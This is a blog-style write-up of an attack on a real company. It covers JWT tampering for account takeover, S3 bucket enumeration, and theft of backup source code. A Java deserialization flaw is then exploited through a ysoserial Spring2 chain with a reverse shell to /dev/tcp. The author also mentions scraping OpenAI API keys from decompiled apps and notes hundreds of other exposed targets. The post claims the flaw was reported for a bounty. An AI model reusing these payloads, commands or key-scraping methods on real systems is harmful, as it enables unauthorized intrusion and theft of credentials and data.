initial access 103
disclaimer: the company that had this vuln seems to have been bought by a certain corporation
also kinda old (10 months ago)
initial
as this (arguably not so big) company does AM solutions a certain other company that used said services relied on it also, especially for an in development mobile app that was pretty trivially easy to find. opening the mobile app with genymotion and with burp suite is pretty easy, you can follow this here.
from personal experience though mobile apps have different api endpoints and are usually kinda shit (for example, you could download a bunch of genai slop apks, automagiccally decompile them and then search for strliterals and scrape openai api keys for personal use) since they assume that most people wouldnt care to decompile and try and screw around with it.
following the usual workflow of the indev app, it issues a jwt to me after i sign up. looking at the jwt:

the id is obviously pretty glaring, since it was in the format HZ<num>. for me, it was HZD0013598. decrementing this by one didnt work, but after decrementing this a couple times, then eventually just removing the HMAC, i landed on HZD0013210 and i was logged in.
logging in i realized there wasnt a lot of stuff interesting but i did realize that it was using aws. searching up potential identifying stuff on censys with autonomous_system.name='AMAZON-02' and {identifiers i see in the app} yielded too much which is unfortunate.
ok now what
using slurp i found a good potential match:
root@f708139332f72cf4a08e19764ee66684:~/cr# slurp domain -p lol.json -t [REDACTED]
INFO[0000] Building permutations....
INFO[0000] Processing permutations....
INFO[0003] FORBIDDEN https://[redacted].s3.amazonaws.com/[REDACTED]
INFO[0003] FORBIDDEN https://[redacted].s3.amazonaws.com/[REDACTED]
INFO[0003] FORBIDDEN https://[redacted].s3.amazonaws.com/[REDACTED]
INFO[0003] FORBIDDEN https://[redacted].s3.amazonaws.com/[REDACTED]
...
INFO[0003] PUBLIC https://[redacted].s3-eu-central-1.amazonaws.com/[REDACTED]
....
accessing the bucket, i found backup files and minimal client information:
root@f708139332f72cf4a08e19764ee66684:~/cr/wow# aws s3 ls s3://[???] --no-sign-request
[REDACTED] [REDACTED] backprod
[REDACTED] [REDACTED] deployenv
...
extracting backprod revealed some source code:

clearly this is all java code:
@Component
public class AuthenticationJWTEntry implements AuthEntrance {
@Override
public void initializer(HttpServletRequest req, HttpServletResponse res, AuthenticationException authException) throws IOException, ServletException {
res.sendError(HttpServletResponse.SC_UNAUTHORIZED , "ERROR, Unauthorized.");
}
}
...
Sec
...
.sessionManagement().SessionInitializer(SessionCreationPolicy.STATELESS).and() // JWT
.authorizeHttpRequests((authorizeRequests) ->
authorizeRequests
.requestMatchers("/docs/**").permitAll()
.requestMatchers("/api/v1/auth/**").permitAll()
.requestMatchers("/api/v1/test/**").permitAll()
...
.anyRequest().authenticated()
);
most of it were random menial APIs. interestingly though there was a jar file (shown above). lets decompile it then lol
finding the vuln
opening the solution and surfing a bit i stumbled across the following, which is in ClusterInt
protected Obj ClusterIntRecvClusterMessage([redacted] req) {
....
try {
....
ObjectInputStream returned_stream = new ObjectInputStream(req);
try {
result = returned_stream.readObject();
} catch(Throwable UNKW) {
throw UNKW;
}
....
}
}
clearly this is a bad idea and this opens up to a deserialization exploit. if you dont know why, essentially, when java deserializes an object it executes any method like readObject()/related methods defined in the serialized class object. if you can build a POP chain (similar to ROP, where you reuse instructions to do whatever you want) from third party libraries and use small snippets of code from each, you can build a full chain that lets you drop something to disk/RCE/etc.
xrefing for ClusterIntRecvClusterMessage i noticed that the function is invoked from here:
@Autowired
public ClusterInt(ClusterConfiguration config, TransportationService cts, ...) { // sorry its too long
...
this.Registered = MFact.create();
this.Registered.RegisterHandler(ClusterMessageTypes.GENERIC, this::ClusterIntRecvClusterMessage);
// a lot more setup code here
...
}
clearly this is some sort of internal clustering routine such that services can talk to each other. after further reversing it turns out this seemed to be some sort of fusion of a JGroups packet and some weird protocol, but weirdly it seems like it still uses JGroups anyway, as it mentions jgroups.ChannelFactory. as im too lazy to keep renaming stuff and guessing i thought that itd make sense that regular JGroups packets should work anyway lol
exploit
from the jGroups doc they bind to port 7800 for tcp transport, so that would be our way of delivering our object. using ysoserial, lets now try and build a quick pop chain. looking at the prebuilt chains on ysoserial, Spring2 seems to satisfy it with some (very minor) tweaks. essentially, this specific pop chain targets the spring framework. our objective in the chain is to somehow call newTransformer(), and execute preset bytecode ysoserial built for us, in this case a very simple reverse shell:
/b?n/sh -i >& /dev/tcp/ip/1021 0>&1
now ill try and explain this and likely get something wrong beacuse im not good at explanations but here:
ysoserial puts this into a TemplatesImpl containing a field called _bytecodes with the compiled bytecode it grabbed with our revshell command. next, we use an inner class in Spring Core called MethodInvokeTypeProvider. this is a helper function that implements MethodInterceptor, which lets you specify some method name (like newTransformer.newTransformer) and call said method on a target object. now that we have a good way of calling newTransformer, we need to find a way to trigger MethodInvokeTypeProvider automagically from our exploit payload. as it turns out, since spring core uses a bunch of studpi fucking paradigms (‘aspect-oriented programming’ fuck is you tb maneeeee im deaddd no bap) you can create a AdvisedSupport object from the payload:

from these methods, we can now use setTarget to set our target to our TemplatesImpl, then addAdvisor our MethodInvokeTypeProvider to the object, then finally it uses some batshit fucking JdkDynamicAopProxy to basically bridge method calls to our exploit payload. thats basically the core logic behind the pop chain. when running the exploit we chain our previous readObject to it and we have a working pop chain
exploit attempt
the full exploit code is too long and its ultimately targeting (probably) proprietary code but heres what the chain looks like in the end (i basically just split up the chain into a few parts since i had to modify the final part where instead of invoking the normal one we connect it back with the shitty ClusterIntRecvClusterMessage chain)
final = (
head +
p1 +
len(lol).to_bytes(2, byteorder='big') +
lol.encode() +
p2 +
len(robjectm).to_bytes(2, byteorder='big') +
robjectm.encode() +
tail
)
this is not attempt because it works
root@f708139332f72cf4a08e19764ee66684:~/cr/dingaling# python lol.py <redacted>.net:7800
+ hi
+ built chain
+ sending
ok
root@f708139332f72cf4a08e19764ee66684:~/cr/dingaling# nc -lnvp 1021
... blahblhnothingburger
$ id
uid=1013(redacted) gid=42(<redacted>) groups=42(<redacted>), 1035(instance) context=system:u:system:r:initrc_t:s0
searching up services that use this similar product on censys and shodan, around 300-400 results were shown. this exploit should work for any company using said proprietary source code. very easy to get initial access on these comps using this obviously (if and only if the clustering ports are exposed somehow)
ok now what
reporting it they thanked me but didnt do much because as it turns out some of the stuff is still ‘wip’ which is kinda fuckign stupid (does make sense since the vulnerability itself seems very overt) but i still got paid so its chill